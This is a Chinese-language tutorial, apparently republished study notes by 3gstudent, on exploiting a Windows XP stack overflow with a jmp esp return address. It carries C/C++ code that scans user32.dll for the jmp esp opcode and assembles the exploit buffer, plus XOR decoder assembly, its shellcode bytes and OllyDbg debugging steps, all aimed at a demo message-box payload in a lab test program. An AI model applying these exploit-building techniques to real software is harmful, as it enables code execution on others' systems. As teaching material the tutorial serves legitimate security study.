乾貨 || Windows Shellcode學習筆記——棧溢出中對jmp esp的利用與優化

0x00 前言

在《Windows Shellcode學習筆記——shellcode在棧溢出中的利用與優化》中對棧溢出的利用做了介紹。通過將返回地址覆蓋為shellcode在內存中的起始地址,實現對棧溢出的利用

但是shellcode在內存中的起始地址往往不固定,導致漏洞利用不一定成功,本文將通過jmp esp的方式來解決這個問題

0x01 簡介

函數代碼在棧中保存順序(直觀理解,已省略其他細節):

buffer

前棧幀EBP

返回地址

ESP

ESP寄存器總是指向返回地址的下一地址

如果用jmp esp覆蓋返回地址,那麼在函數返回後會執行jmp esp,跳到esp,也就是返回地址的下一地址開始執行

因此,將shellcode放於返回地址之後,並將返回地址覆蓋為jmp esp,就可以避免shellcode在內存中產生的移位問題

本文將要介紹使用jmp esp的具體細節,並分享如何優化我們自己生成的彈框實例shellcode,實現jmp esp利用,編寫程序自動實現,解決shellcode在內存中的起始地址不固定的問題。

彈框實例shellcode下載地址:

github.com/3gstudent/Sh

0x01 jmp esp

獲得jmp esp的機器碼:

可通過搜索各個進程空間來獲取,具體原理可參考《0day安全:軟體漏洞分析技術》3.2.2節

為便於理解和測試,直接引用《0day安全:軟體漏洞分析技術》3.2.2節中的代碼,代碼如下:

#include <stdio.h>n#include <windows.h>n#define DLL_NAME "user32.dll"nint main()n{n BYTE *ptr;n int position,address;n HINSTANCE handle;n BOOL done_flag=FALSE;n handle=LoadLibrary(DLL_NAME);n if(!handle)n {n printf("load dll error");n return 0;n }n ptr=(BYTE *)handle;n for(position=0;!done_flag;position++)n {n tryn {n if(ptr[position]==0xFF &&ptr[position+1]==0xE4)n {n int address=(int)ptr+position;n printf("OPCODE found at 0x%xn",address);n }n }n catch(...)n {n int address=(int)ptr+position;n printf("END OF 0x%xn",address);n done_flag=true;n }n }n return 0;n}n

如下圖,獲得機器碼,挑選第一個地址0x77d29353,構建我們的shellcode

初步設想shellcode的結構為:

填充數據(長度44)+偏移長度+jmp esp的機器碼+解碼器+加密的彈框shellcode+結束字元

具體數據為:

"x34x33x32x31「*11+"x90x90x90x90x90x90x90x90"+"x53x93xD2x77"+"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"+加密的彈框shellcode+xD5n

通過程序自動實現此過程,代碼如下:

#include <windows.h>nsize_t GetSize(char * szFilePath)n{n size_t size;n FILE* f = fopen(szFilePath, "rb");n fseek(f, 0, SEEK_END);n size = ftell(f);n rewind(f);n fclose(f);n return size;n}nunsigned char* ReadBinaryFile(char *szFilePath, size_t *size)n{n unsigned char *p = NULL;n FILE* f = NULL;n size_t res = 0;n *size = GetSize(szFilePath);n if (*size == 0) return NULL; n f = fopen(szFilePath, "rb");n if (f == NULL)n {n printf("Binary file does not exists!n");n return 0;n }n p = new unsigned char[*size];n rewind(f);n res = fread(p, sizeof(unsigned char), *size, f);n fclose(f);n if (res == 0)n {n delete[] p;n return NULL;n }n return p;n}nint main(int argc, char* argv[])n{n char *szFilePath="c:testshellcode.bin";n char *szFilePath2="c:testshellcode2.bin";n unsigned char *BinData = NULL;n size_t size = 0; n BinData = ReadBinaryFile(szFilePath, &size);n for(int i=0;i<size;i++)n {n BinData[i]=BinData[i]^0x44;n }n FILE* f = NULL; n f = fopen(szFilePath2, "wb");n if (f == NULL)n {n printf("Create errorn");n return 0;n }n char filler[]="x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31x34x33x32x31";n char nop[]="x90x90x90x90x90x90x90x90";n char jmpesp[]="x53x93xD2x77";n char decode[]="x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1";n char end[]="xD5";n fwrite(filler,sizeof(filler)-1,1,f);n fwrite(nop,sizeof(nop)-1,1,f);n fwrite(jmpesp,sizeof(jmpesp)-1,1,f);n fwrite(decode,sizeof(decode)-1,1,f);n fwrite(BinData,size,1,f);n fwrite(end,1,1,f);n fclose(f);n}n

運行後生成shellcode2.bin

由於我們自己生成的這個shellcode長度較長,在測試時需要對原書中的棧溢出程序作修改,否則會報錯,例如

if(!(fp=fopen("password.txt","rw+")))

應修改為

if(!(fp=fopen("password2.txt","rb")))

更多細節可參考完整代碼,棧溢出測試程序的完整代碼已上傳至github,地址如下:

github.com/3gstudent/Sh

測試棧溢出測試程序

測試環境:

測試系統:Win XPn編譯器:VC6.0nbuild版本: debug版本n

測試棧溢出測試程序,發現報錯

0x02 shellcode調試與優化

使用OllyDbg調試

關鍵位置按F2下斷點,按F9執行到斷點處

如下圖,成功覆蓋返回地址,數值為0x77d29353

按F8單步執行,跳到JMP ESP,如下圖

接著F8單步執行,如下圖,此時EDX寄存器不再保存shellcode起始地址,EDX值為0x0012FFE0,而理論上shellcode起始地址應為0x0012F77C

需要找到一個能保存shellcode起始地址的寄存器或者存在某種偏移關係的寄存器

通過進一步調試,發現整個過程EDI寄存器的值保持不變,為 0X0012F720,而且shellcode起始地址作了變化,不再是0x0012F77C

如下圖,在CALL test2.004011A0下斷點,shellcode起始地址由0x0012F77C變為0X0012F6F0

如下圖,0x0012F77C已被覆蓋,側面證明shellcode起始地址發生變化

綜上,可大膽推測實際shellcode起始地址=EDI-0X000008F0h

解碼器實現思路如下:

通過EDI-0X000008F0h來獲得shellcode起始地址,並且保存在寄存器EAX中

對應彙編代碼如下:

void main()n{n __asmn {n sub edi,0x8F0n mov eax,edin add eax,0x28n xor ecx,ecxndecode_loop:n mov bl,[eax+ecx]n xor bl,0x44n mov [eax+ecx],bln inc ecxn cmp bl,0x91n jne decode_loopn }n}n

提取出機器碼為

"x81xEFxF0x08x00x00x8BxC7x83xC0x28x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"n

如圖

此時又出現x00字元,實際使用時會被提前截斷,所以彙編代碼需要作進一步優化:

通過先加後減兩步操作,來避免shellcode出現0字元

註:

先減後加會造成越界

先加後減兩步操作如下:

EDI-0X000008F0h=0X0012F720+0X11111111h-0X111119A1h

由於shellcode前面多了填充數據,所以解碼器的偏移也要重新計算,偏移=填充數據長度+解碼器長度=0x34+0x26=0x5A

對應完整彙編代碼如下:

void main()n{n __asmn {n add edi,0X11111111n sub edi,0X111119A1n mov eax,edin add eax,0x5An xor ecx,ecxndecode_loop:n mov bl,[eax+ecx]n xor bl,0x44n mov [eax+ecx],bln inc ecxn cmp bl,0x91n jne decode_loopn }n}n

如上圖,提取機器碼為

"x81xC7x11x11x11x11x81xEFxA1x19x11x11x8BxC7x83xC0x5Ax33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"n

如下圖,定址正常,shellcode成功執行

0x03 程序自動實現

將以上代碼同獲得jmp esp機器碼的代碼融合,實現自動獲取jmp esp的機器碼並寫入shellcode,完整代碼已上傳至github:

github.com/3gstudent/Sh

註:

通過子函數GetAddress()實現自動定址,需要先從子函數GetAddress()返回int型數據,再在main函數中通過指針讀取jmp esp的機器碼

如果順序顛倒,那麼地址無法獲取

錯誤的獲取地址代碼如下:

unsigned char *GetAddress()n{n BYTE *ptr;n int position,address;n HINSTANCE handle;n BOOL done_flag=FALSE;n handle=LoadLibrary(DLL_NAME);n if(!handle)n {n printf("load dll error");n return 0;n }n ptr=(BYTE *)handle;n for(position=0;!done_flag;position++)n {n tryn {n if(ptr[position]==0xFF &&ptr[position+1]==0xE4)n {n int address=(int)ptr+position;n unsigned char *Buff=(unsigned char *)&address;n return Buff; n } n }n catch(...)n {n int address=(int)ptr+position;n printf("END OF 0x%xn",address);n done_flag=true;n }n }n return 0;n}nunsigned char *jmpesp=NULL;njmpesp=GetAddress();n

0x04 小結

本文介紹了棧溢出中使用jmp esp的利用方法,結合遇到的實際情況對我們自己生成的彈框實例shellcode作優化,選取固定寄存器地址,計算偏移,最終定位shellcode起始地址,完成利用。

本文為 3gstudent 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載;如若轉載,請聯繫嘶吼編輯: Windows Shellcode學習筆記——棧溢出中對jmp esp的利用與優化 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

AppDomainManager後門的實現思路
乾貨 | PowerShell技巧——藉助kd.exe隱藏進程
PowerShell指令為什麼都要採用 Verb-XXXX 的格式?
作為日常使用的腳本,PowerShell Core 與 Python 各有哪些優劣?
PowerShell 與 cmd 有什麼不同?

TAG:PowerShell | 技术分析 |